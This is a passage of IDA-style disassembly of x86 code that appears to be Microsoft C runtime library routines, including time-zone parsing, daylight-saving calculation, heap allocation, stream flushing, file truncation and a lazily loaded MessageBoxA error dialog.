sub_421380	endp


; =============== S U B	R O U T	I N E =======================================



sub_42139C	proc near		; CODE XREF: sub_41EEA2+73p
					; sub_41EEA2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_4241B4	; IsBadWritePtr
		test	eax, eax
		jz	short loc_4213B4
		xor	esi, esi


loc_4213B4:				; CODE XREF: sub_42139C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42139C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213B8	proc near		; CODE XREF: sub_41EEA2+15Bp
					; sub_42131C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_424014	; IsBadCodePtr
		test	eax, eax
		jz	short loc_4213CC
		xor	esi, esi


loc_4213CC:				; CODE XREF: sub_4213B8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4213B8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41F13C


loc_4213D0:				; CODE XREF: sub_41F13C:loc_41F18Dj
		push	0Ah
		call	sub_4200DD
		push	16h
		call	sub_422565
		pop	ecx
		pop	ecx
		push	3
		call	sub_418522
; END OF FUNCTION CHUNK	FOR sub_41F13C

; =============== S U B	R O U T	I N E =======================================



sub_4213E7	proc near		; CODE XREF: sub_41F249:loc_41F288p
		cmp	dword_4DD060, 0
		jnz	short locret_4213FB
		call	sub_4213FC
		inc	dword_4DD060

locret_4213FB:				; CODE XREF: sub_4213E7+7j
		retn
sub_4213E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4213FC	proc near		; CODE XREF: sub_4213E7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DCFA8, ebp
		mov	dword_43FCE0, ebx
		mov	dword_43FCD0, ebx
		call	sub_4226D7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_421525
		push	offset dword_4DCFB0
		call	dword_42418C	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_421654
		mov	eax, dword_4DCFB0
		mov	ecx, dword_4DD004
		imul	eax, 3Ch
		cmp	word_4DCFF6, bp
		push	1
		pop	edx
		mov	dword_43FC38, eax
		mov	dword_4DCFA8, edx
		jz	short loc_421473
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43FC38, eax


loc_421473:				; CODE XREF: sub_4213FC+69j
		cmp	word_4DD04A, bp
		jz	short loc_421497
		mov	eax, dword_4DD058
		cmp	eax, ebp
		jz	short loc_421497
		sub	eax, ecx
		mov	dword_43FC3C, edx
		imul	eax, 3Ch
		mov	dword_43FC40, eax
		jmp	short loc_4214A3
; ---------------------------------------------------------------------------


loc_421497:				; CODE XREF: sub_4213FC+7Ej
					; sub_4213FC+87j
		mov	dword_43FC3C, ebp
		mov	dword_43FC40, ebp


loc_4214A3:				; CODE XREF: sub_4213FC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_424164
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43FCC4
		push	ebx
		push	offset dword_4DCFB4
		push	edi
		push	dword_4DCE44
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_4214E0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4214E0
		mov	eax, off_43FCC4
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4214E8
; ---------------------------------------------------------------------------


loc_4214E0:				; CODE XREF: sub_4213FC+D1j
					; sub_4213FC+D7j
		mov	eax, off_43FCC4
		and	byte ptr [eax],	0


loc_4214E8:				; CODE XREF: sub_4213FC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43FCC8
		push	ebx
		push	offset dword_4DD008
		push	edi
		push	dword_4DCE44
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_42164C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_42164C
		mov	eax, off_43FCC8
		and	byte ptr [eax+3Fh], 0
		jmp	loc_421654
; ---------------------------------------------------------------------------


loc_421525:				; CODE XREF: sub_4213FC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_421654
		mov	eax, dword_4DD05C
		cmp	eax, ebp
		jz	short loc_421548
		push	eax
		push	esi
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_421654


loc_421548:				; CODE XREF: sub_4213FC+139j
		push	dword_4DD05C
		call	sub_417E11
		push	esi
		call	sub_417D40
		inc	eax
		push	eax
		call	sub_418235
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DD05C, eax
		jz	loc_421654
		push	esi
		push	eax
		call	sub_418C10
		push	3
		push	esi
		push	off_43FCC4
		call	sub_418350
		mov	eax, off_43FCC4
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42159D
		push	1
		inc	esi
		pop	edi


loc_42159D:				; CODE XREF: sub_4213FC+19Bj
		push	esi
		call	sub_41844E
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43FC38, ecx


loc_4215B4:				; CODE XREF: sub_4213FC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4215C2
		cmp	al, bl
		jl	short loc_4215C5
		cmp	al, 39h
		jg	short loc_4215C5


loc_4215C2:				; CODE XREF: sub_4213FC+1BCj
		inc	esi
		jmp	short loc_4215B4
; ---------------------------------------------------------------------------


loc_4215C5:				; CODE XREF: sub_4213FC+1C0j
					; sub_4213FC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_421618
		inc	esi
		push	esi
		call	sub_41844E
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43FC38
		add	ecx, eax
		mov	dword_43FC38, ecx


loc_4215E3:				; CODE XREF: sub_4213FC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4215F0
		cmp	al, 39h
		jg	short loc_4215F0
		inc	esi
		jmp	short loc_4215E3
; ---------------------------------------------------------------------------


loc_4215F0:				; CODE XREF: sub_4213FC+1EBj
					; sub_4213FC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_421618
		inc	esi
		push	esi
		call	sub_41844E
		pop	ecx
		mov	ecx, dword_43FC38
		add	ecx, eax
		mov	dword_43FC38, ecx


loc_42160B:				; CODE XREF: sub_4213FC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_421618
		cmp	al, 39h
		jg	short loc_421618
		inc	esi
		jmp	short loc_42160B
; ---------------------------------------------------------------------------


loc_421618:				; CODE XREF: sub_4213FC+1CCj
					; sub_4213FC+1F7j ...
		cmp	edi, ebp
		jz	short loc_421624
		neg	ecx
		mov	dword_43FC38, ecx


loc_421624:				; CODE XREF: sub_4213FC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43FC3C, eax
		jz	short loc_42164C
		push	3
		push	esi
		push	off_43FCC8
		call	sub_418350
		mov	eax, off_43FCC8
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_421654
; ---------------------------------------------------------------------------


loc_42164C:				; CODE XREF: sub_4213FC+10Bj
					; sub_4213FC+115j ...
		mov	eax, off_43FCC8
		and	byte ptr [eax],	0


loc_421654:				; CODE XREF: sub_4213FC+40j
					; sub_4213FC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4213FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_42165A	proc near		; CODE XREF: sub_41F249+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43FC3C, edi
		jnz	short loc_42166E


loc_421667:				; CODE XREF: sub_42165A+148j
					; sub_42165A+150j ...
		xor	eax, eax
		jmp	loc_4217BA
; ---------------------------------------------------------------------------


loc_42166E:				; CODE XREF: sub_42165A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43FCD0
		jnz	short loc_42168C
		cmp	eax, dword_43FCE0
		jz	loc_42178E


loc_42168C:				; CODE XREF: sub_42165A+24j
		cmp	dword_4DCFA8, edi
		jz	loc_421764
		movzx	ecx, word_4DD056
		push	ecx
		cmp	word_4DD048, di
		movzx	ecx, word_4DD054
		push	ecx
		movzx	ecx, word_4DD052
		push	ecx
		movzx	ecx, word_4DD050
		push	ecx
		jnz	short loc_4216DE
		movzx	ecx, word_4DD04C
		push	edi
		push	ecx
		movzx	ecx, word_4DD04E
		push	ecx
		movzx	ecx, word_4DD04A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_4216F2
; ---------------------------------------------------------------------------


loc_4216DE:				; CODE XREF: sub_42165A+65j
		movzx	ecx, word_4DD04E
		push	ecx
		push	edi
		movzx	ecx, word_4DD04A
		push	edi
		push	ecx
		push	eax
		push	edi


loc_4216F2:				; CODE XREF: sub_42165A+82j
		push	ebx
		call	sub_421806
		movzx	eax, word_4DD002
		add	esp, 2Ch
		cmp	word_4DCFF4, di
		push	eax
		movzx	eax, word_4DD000
		push	eax
		movzx	eax, word_4DCFFE
		push	eax
		movzx	eax, word_4DCFFC
		push	eax
		jnz	short loc_42174C
		movzx	eax, word_4DCFF8
		push	edi
		push	eax
		movzx	eax, word_4DCFFA
		push	eax
		movzx	eax, word_4DCFF6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_421741:				; CODE XREF: sub_42165A+108j
		push	edi
		call	sub_421806
		add	esp, 2Ch
		jmp	short loc_42178E
; ---------------------------------------------------------------------------


loc_42174C:				; CODE XREF: sub_42165A+C8j
		movzx	eax, word_4DCFFA
		push	eax
		push	edi
		movzx	eax, word_4DCFF6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_421741
; ---------------------------------------------------------------------------


loc_421764:				; CODE XREF: sub_42165A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_421806
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_421806
		add	esp, 58h


loc_42178E:				; CODE XREF: sub_42165A+2Cj
					; sub_42165A+F0j
		mov	edx, dword_43FCD4
		mov	eax, dword_43FCE4
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_4217BE
		cmp	ecx, edx
		jl	loc_421667
		cmp	ecx, eax
		jg	loc_421667
		cmp	ecx, edx
		jle	short loc_4217D2
		cmp	ecx, eax
		jge	short loc_4217D2


loc_4217B8:				; CODE XREF: sub_42165A+166j
					; sub_42165A+16Aj
		mov	eax, ebx


loc_4217BA:				; CODE XREF: sub_42165A+Fj
					; sub_42165A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4217BE:				; CODE XREF: sub_42165A+144j
		cmp	ecx, eax
		jl	short loc_4217B8
		cmp	ecx, edx
		jg	short loc_4217B8
		cmp	ecx, eax
		jle	short loc_4217D2
		cmp	ecx, edx
		jl	loc_421667


loc_4217D2:				; CODE XREF: sub_42165A+158j
					; sub_42165A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_4217F9
		xor	ecx, ecx
		cmp	eax, dword_43FCD8
		setnl	cl


loc_4217F5:				; CODE XREF: sub_42165A+1AAj
		mov	eax, ecx
		jmp	short loc_4217BA
; ---------------------------------------------------------------------------


loc_4217F9:				; CODE XREF: sub_42165A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43FCE8
		setl	cl
		jmp	short loc_4217F5
sub_42165A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421806	proc near		; CODE XREF: sub_42165A+99p
					; sub_42165A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_4218A1
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_421831
		shl	esi, 2
		mov	eax, dword_43FCE8[esi]
		jmp	short loc_42183A
; ---------------------------------------------------------------------------


loc_421831:				; CODE XREF: sub_421806+1Ej
		shl	esi, 2
		mov	eax, dword_43FD1C[esi]


loc_42183A:				; CODE XREF: sub_421806+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_421874
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_42187E
; ---------------------------------------------------------------------------


loc_421874:				; CODE XREF: sub_421806+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_42187E:				; CODE XREF: sub_421806+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_4218BC
		cmp	[ebp+arg_8], 0
		jnz	short loc_421892
		mov	esi, dword_43FCEC[esi]
		jmp	short loc_421898
; ---------------------------------------------------------------------------


loc_421892:				; CODE XREF: sub_421806+82j
		mov	esi, dword_43FD20[esi]


loc_421898:				; CODE XREF: sub_421806+8Aj
		cmp	ecx, esi
		jle	short loc_4218BC
		sub	ecx, 7
		jmp	short loc_4218BC
; ---------------------------------------------------------------------------


loc_4218A1:				; CODE XREF: sub_421806+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_4218B2
		mov	ecx, dword_43FCE8[eax*4]
		jmp	short loc_4218B9
; ---------------------------------------------------------------------------


loc_4218B2:				; CODE XREF: sub_421806+A1j
		mov	ecx, dword_43FD1C[eax*4]


loc_4218B9:				; CODE XREF: sub_421806+AAj
		add	ecx, [ebp+arg_18]


loc_4218BC:				; CODE XREF: sub_421806+7Cj
					; sub_421806+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_4218ED
		mov	eax, [ebp+arg_1C]
		mov	dword_43FCD4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43FCD0, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43FCD8, eax
		jmp	short loc_421942
; ---------------------------------------------------------------------------


loc_4218ED:				; CODE XREF: sub_421806+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43FCE4, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43FC40
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43FCE8, eax
		jns	short loc_421925
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43FCE8, eax
		jmp	short loc_421936
; ---------------------------------------------------------------------------


loc_421925:				; CODE XREF: sub_421806+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_42193C
		sub	eax, edx
		inc	ecx
		mov	dword_43FCE8, eax


loc_421936:				; CODE XREF: sub_421806+11Dj
		mov	dword_43FCE4, ecx


loc_42193C:				; CODE XREF: sub_421806+126j
		mov	dword_43FCE0, ebx


loc_421942:				; CODE XREF: sub_421806+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_421806	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421946	proc near		; CODE XREF: sub_41F30B+22p
					; sub_41F30B+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_421967
		test	esi, esi
		jnz	short loc_421961
		push	1
		pop	esi


loc_421961:				; CODE XREF: sub_421946+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_421967:				; CODE XREF: sub_421946+12j
					; sub_421946+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4219C6
		mov	eax, dword_4DE408
		cmp	eax, 3
		jnz	short loc_421992
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DE400
		ja	short loc_4219B1
		push	eax
		call	sub_41ADAB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4219DC
		jmp	short loc_4219B1
; ---------------------------------------------------------------------------


loc_421992:				; CODE XREF: sub_421946+30j
		cmp	eax, 2
		jnz	short loc_4219B1
		cmp	esi, dword_43F284
		ja	short loc_4219B1
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41B84E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_4219F0


loc_4219B1:				; CODE XREF: sub_421946+3Bj
					; sub_421946+4Aj ...
		push	esi
		push	8
		push	dword_4DE404
		call	dword_424184	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4219EA


loc_4219C6:				; CODE XREF: sub_421946+26j
		cmp	dword_4DCDFC, 0
		jz	short loc_4219EA
		push	esi
		call	sub_41BEF2
		test	eax, eax
		pop	ecx
		jz	short loc_4219F3
		jmp	short loc_421967
; ---------------------------------------------------------------------------


loc_4219DC:				; CODE XREF: sub_421946+48j
		push	[ebp+arg_0]


loc_4219DF:				; CODE XREF: sub_421946+ABj
		push	0
		push	edi
		call	sub_4182F0
		add	esp, 0Ch


loc_4219EA:				; CODE XREF: sub_421946+7Ej
					; sub_421946+87j
		mov	eax, edi


loc_4219EC:				; CODE XREF: sub_421946+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4219F0:				; CODE XREF: sub_421946+69j
		push	esi
		jmp	short loc_4219DF
; ---------------------------------------------------------------------------


loc_4219F3:				; CODE XREF: sub_421946+92j
		xor	eax, eax
		jmp	short loc_4219EC
sub_421946	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41F3B0


loc_4219F7:				; CODE XREF: sub_41F3B0+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DE1C0, esi
		jle	short loc_421A4A


loc_421A06:				; CODE XREF: sub_41F3B0+2698j
		mov	eax, dword_4DD1A4
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_421A41
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_421A25
		push	eax
		call	sub_417DBB
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_421A25
		inc	edi


loc_421A25:				; CODE XREF: sub_41F3B0+2666j
					; sub_41F3B0+2672j
		cmp	esi, 14h
		jl	short loc_421A41
		mov	eax, dword_4DD1A4
		push	dword ptr [eax+esi*4]
		call	sub_417E11
		mov	eax, dword_4DD1A4
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_421A41:				; CODE XREF: sub_41F3B0+2660j
					; sub_41F3B0+2678j
		inc	esi
		cmp	esi, dword_4DE1C0
		jl	short loc_421A06


loc_421A4A:				; CODE XREF: sub_41F3B0+2654j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_41F3B0

; =============== S U B	R O U T	I N E =======================================



sub_421A4F	proc near		; CODE XREF: sub_41F989+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_421A60
		add	esp, 0Ch
		retn
sub_421A4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_421A60	proc near		; CODE XREF: sub_421A4F+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DE2E1[eax], cl
		jnz	short loc_421A8D
		cmp	[esp+arg_4], 0
		jz	short loc_421A86
		movzx	eax, word_43F292[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_421A88
; ---------------------------------------------------------------------------


loc_421A86:				; CODE XREF: sub_421A60+16j
		xor	eax, eax


loc_421A88:				; CODE XREF: sub_421A60+24j
		test	eax, eax
		jnz	short loc_421A8D
		retn
; ---------------------------------------------------------------------------


loc_421A8D:				; CODE XREF: sub_421A60+Fj
					; sub_421A60+2Aj
		push	1
		pop	eax
		retn
sub_421A60	endp


; =============== S U B	R O U T	I N E =======================================



sub_421A91	proc near		; CODE XREF: sub_4200DD+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DD064, ebx
		push	esi
		push	edi
		jnz	short loc_421AE0
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4240B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_421B16
		mov	esi, dword_4240BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_4DD064, eax
		jz	short loc_421B16
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DD068, eax
		call	esi	; GetProcAddress
		mov	dword_4DD06C, eax


loc_421AE0:				; CODE XREF: sub_421A91+Bj
		mov	eax, dword_4DD068
		test	eax, eax
		jz	short loc_421AFF
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_421AFF
		mov	eax, dword_4DD06C
		test	eax, eax
		jz	short loc_421AFF
		push	ebx
		call	eax
		mov	ebx, eax


loc_421AFF:				; CODE XREF: sub_421A91+56j
					; sub_421A91+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DD064


loc_421B12:				; CODE XREF: sub_421A91+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421B16:				; CODE XREF: sub_421A91+1Cj
					; sub_421A91+33j
		xor	eax, eax
		jmp	short loc_421B12
sub_421A91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421B1A	proc near		; CODE XREF: sub_42063B+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_418880
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DD1A0
		jnb	loc_421C4F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD0A0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_421C4F
		push	1
		push	esi
		push	ebx
		call	sub_41F3C4
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_421C59
		push	2
		push	esi
		push	ebx
		call	sub_41F3C4
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_421C59
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_421BFC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_4182F0
		push	8000h
		push	ebx
		call	sub_422754
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_421BB0:				; CODE XREF: sub_421B1A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_421BBB
		mov	eax, edi


loc_421BBB:				; CODE XREF: sub_421B1A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42044A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_421BD9
		sub	edi, eax
		test	edi, edi
		jle	short loc_421BEF
		jmp	short loc_421BB0
; ---------------------------------------------------------------------------


loc_421BD9:				; CODE XREF: sub_421B1A+B5j
		cmp	dword_4DCD78, 5
		jnz	short loc_421BEC
		mov	dword_4DCD74, 0Dh


loc_421BEC:				; CODE XREF: sub_421B1A+C6j
		or	esi, 0FFFFFFFFh


loc_421BEF:				; CODE XREF: sub_421B1A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_422754
		pop	ecx
		pop	ecx
		jmp	short loc_421C3C
; ---------------------------------------------------------------------------


loc_421BFC:				; CODE XREF: sub_421B1A+71j
		jge	short loc_421C3C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_41F3C4
		push	ebx
		call	sub_4203B6
		add	esp, 10h
		push	eax
		call	dword_424010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_421C3C
		mov	dword_4DCD74, 0Dh
		call	dword_42408C	; RtlGetLastWin32Error
		mov	dword_4DCD78, eax


loc_421C3C:				; CODE XREF: sub_421B1A+E0j
					; sub_421B1A:loc_421BFCj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_41F3C4
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_421C5C
; ---------------------------------------------------------------------------


loc_421C4F:				; CODE XREF: sub_421B1A+1Aj
					; sub_421B1A+36j
		mov	dword_4DCD74, 9


loc_421C59:				; CODE XREF: sub_421B1A+4Ej
					; sub_421B1A+63j
		or	eax, 0FFFFFFFFh


loc_421C5C:				; CODE XREF: sub_421B1A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_421B1A	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C60	proc near		; CODE XREF: sub_420DDF+2Bp
					; sub_420DDF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_421C76
		cmp	ecx, esi
		jnb	short loc_421C79


loc_421C76:				; CODE XREF: sub_421C60+10j
		push	1
		pop	eax


loc_421C79:				; CODE XREF: sub_421C60+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_421C60	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C81	proc near		; CODE XREF: sub_421D3A+40p
					; sub_421D3A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_421C60
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421CB3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_421C60
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421CB3
		inc	dword ptr [esi+8]


loc_421CB3:				; CODE XREF: sub_421C81+19j
					; sub_421C81+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_421C60
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_421CCB
		inc	dword ptr [esi+8]


loc_421CCB:				; CODE XREF: sub_421C81+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_421C60
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_421C81	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CDF	proc near		; CODE XREF: sub_421D3A+30p
					; sub_421D3A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_421CDF	endp


; =============== S U B	R O U T	I N E =======================================



sub_421D0D	proc near		; CODE XREF: sub_4222D2+1C8p
					; sub_4227CA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_421D0D	endp


